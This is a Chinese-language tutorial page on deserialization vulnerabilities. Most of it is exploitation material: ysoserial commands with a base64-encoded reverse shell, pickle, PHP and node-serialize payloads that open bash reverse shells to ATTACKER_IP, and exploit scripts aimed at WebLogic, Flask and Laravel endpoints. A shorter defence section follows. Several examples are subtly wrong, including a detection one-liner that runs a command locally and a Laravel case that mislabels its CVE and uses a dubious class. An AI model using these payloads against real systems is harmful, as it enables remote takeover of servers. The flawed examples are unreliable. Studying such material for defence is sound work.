---
title: "反序列化漏洞详解"
weight: 25
date: "2026-03-09T08:58:49+08:00"
lastmod: "2026-03-09T08:58:49+08:00"
---

## 漏洞概述

反序列化漏洞发生在应用程序将不可信的序列化数据还原为对象时。攻击者可以构造恶意序列化对象，在反序列化过程中执行任意代码。

**OWASP Top 10**: A08:2021 (Software and Data Integrity Failures)  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 常见序列化格式

| 语言 | 序列化格式 | 危险函数 |
|------|-----------|---------|
| Java | Java Serialization, Hessian, Kryo | readObject() |
| Python | pickle, marshal, yaml | pickle.loads(), yaml.load() |
| PHP | serialize(), unserialize() | unserialize() |
| Ruby | Marshal, YAML | Marshal.load(), YAML.load() |
| Node.js | node-serialize, funcster | node-serialize.unserialize() |

---

## 漏洞检测

### 特征识别

```
# Java 序列化
AC ED 00 05 (魔数)
rO0AB (Base64)

# Python pickle
\x80\x04\x95 (Python 3)
\x80\x03 (Python 2)

# PHP 序列化
O:4:"User": (对象)
a:3:{ (数组)

# YAML
!!python/object
!!python/object/apply
```

### 工具检测

```bash
# Java
java -jar ysoserial.jar CommonsCollections1 "command" | xxd

# Python
python3 -c "import pickle; print(pickle.dumps(__import__('os').system('id')))"

# PHP
php -r 'echo serialize(new stdClass());'

# 扫描工具
- Burp Suite (Java Deserialization Scanner)
- SerializationDumper
- ysoserial
```

---

## 利用方法

### Java 反序列化

```java
// 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9YWFgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64

// 常见 Gadget Chains
CommonsCollections1-6
CommonsBeanutils1
CommonsFileUpload1
Groovy1
```

**发送 Payload**:
```bash
# 发送序列化数据
curl -X POST http://target.com/api \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

# Base64 编码
curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"data":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=="}'
```

### Python 反序列化

```python
# 漏洞代码
import pickle
data = pickle.loads(user_input)

# 构造恶意 Payload
import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

payload = pickle.dumps(RCE())
print(payload)

# 发送
curl -X POST http://target.com/api \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl
```

### PHP 反序列化

```php
// 漏洞代码
$data = unserialize($_COOKIE['data']);

// 构造 Payload
class RCE {
    public $cmd;
    function __destruct() {
        system($this->cmd);
    }
}

$exploit = new RCE();
$exploit->cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'";
echo urlencode(serialize($exploit));

// 输出:
// O:3:"RCE":1:{s:3:"cmd";s:57:"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'";}
```

**POP Chain 示例**:
```php
// 利用现有类的魔术方法
class A {
    public $obj;
    function __destruct() {
        $this->obj->execute();
    }
}

class B {
    public $cmd;
    function execute() {
        system($this->cmd);
    }
}

// 构造链
$a = new A();
$b = new B();
$b->cmd = "id";
$a->obj = $b;
echo serialize($a);
```

### Node.js 反序列化

```javascript
// 漏洞代码 (node-serialize)
const serialize = require('node-serialize');
const user = serialize.unserialize(req.cookies.profile);

// 构造 Payload
const payload = {
    rce: function(){
        require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"', function(error, stdout, stderr) {
            console.log(stdout);
        });
    }
};

// 序列化并发送
console.log(serialize.serialize(payload));
// {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec...}"}
```

### YAML 反序列化

```python
# 漏洞代码 (Python)
import yaml
data = yaml.load(user_input)

# 利用
import yaml
payload = """
!!python/object/apply:os.system
args: ["id"]
"""
yaml.load(payload)

# 或
payload = """
!!python/object/new:os.system
args: ["id"]
"""
```

---

## 实战案例

### 案例 1: Java WebLogic

```bash
# 检测
nmap --script weblogic-t3-info -p 7001 target.com

# 利用 (CVE-2017-10271)
python weblogic-cve-2017-10271.py http://target.com:7001 "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

# 使用 ysoserial
java -jar ysoserial.jar CommonsCollections5 "command" > payload.bin
curl -X POST http://target.com:7001/wls-wsat/CoordinatorPortType -d @payload.bin
```

### 案例 2: Python Flask

```python
# 漏洞代码 (使用 pickle 处理 session)
from flask import Flask, request
import pickle

app = Flask(__name__)

@app.route('/profile')
def profile():
    data = pickle.loads(request.cookies.get('profile'))
    return data

# 利用脚本
import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

payload = pickle.dumps(Exploit())
cookies = {'profile': payload}
requests.get('http://target.com/profile', cookies=cookies)
```

### 案例 3: PHP Laravel

```php
// CVE-2017-9841 (Laravel RCE)
// 利用 PHPUnit 的 PHP 代码执行

# 生成 Payload
php -r 'echo base64_encode(serialize(new PHPUnit_Framework_MockObject_Invocation_Object("system", ["id"])));'

# 发送
curl -X POST http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
  -d "O:40:\"PHPUnit_Framework_MockObject_Invocation_Object\":1:{...}"
```

---

## 防御建议

### Java

```java
// 1. 使用白名单验证
private static class WhiteListClassLoader extends ClassLoader {
    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        if (!name.startsWith("java.") && !name.startsWith("javax.")) {
            throw new SecurityException("Unauthorized class: " + name);
        }
        return super.loadClass(name, resolve);
    }
}

// 2. 使用安全库
// commons-io IOUtils
// Apache Commons Serialization

// 3. 避免 Java 原生序列化
// 改用 JSON (Jackson, Gson)
```

### Python

```python
# 1. 使用安全的序列化格式
import json
data = json.loads(user_input)  # ✅ 安全

# 2. 如果必须用 pickle，使用限制
import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in ["str", "int", "list", "dict"]:
            return getattr(__import__(module), name)
        raise pickle.UnpicklingError(f"Global '{module}.{name}' is forbidden")

data = RestrictedUnpickler(io.BytesIO(pickle_data)).load()

# 3. 使用 yaml.safe_load()
import yaml
data = yaml.safe_load(user_input)  # ✅ 安全
```

### PHP

```php
// 1. 避免 unserialize()
// 改用 JSON
$data = json_decode($json_input, true);

// 2. 使用签名验证
$signed_data = $_COOKIE['data'];
$signature = hash_hmac('sha256', $signed_data, $secret_key);
// 验证签名后再反序列化

// 3. 使用 allowed_classes
$data = unserialize($input, ["allowed_classes" => false]);
$data = unserialize($input, ["allowed_classes" => ["User", "Product"]]);
```

### 通用防御

1. **避免使用原生序列化** - 改用 JSON/Protobuf
2. **输入验证** - 白名单验证类名
3. **签名验证** - HMAC 签名防止篡改
4. **最小权限** - 运行在低权限环境
5. **WAF 规则** - 检测序列化特征

---

## 参考链接

- [HackTricks - Deserialization](https://book.hacktricks.wiki/pentesting-web/deserialization)
- [PayloadsAllTheThings - Deserialization](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Deserialization)
- [ysoserial](https://github.com/frohoff/ysoserial)
- [PHPGGC](https://github.com/ambionics/phpggc)
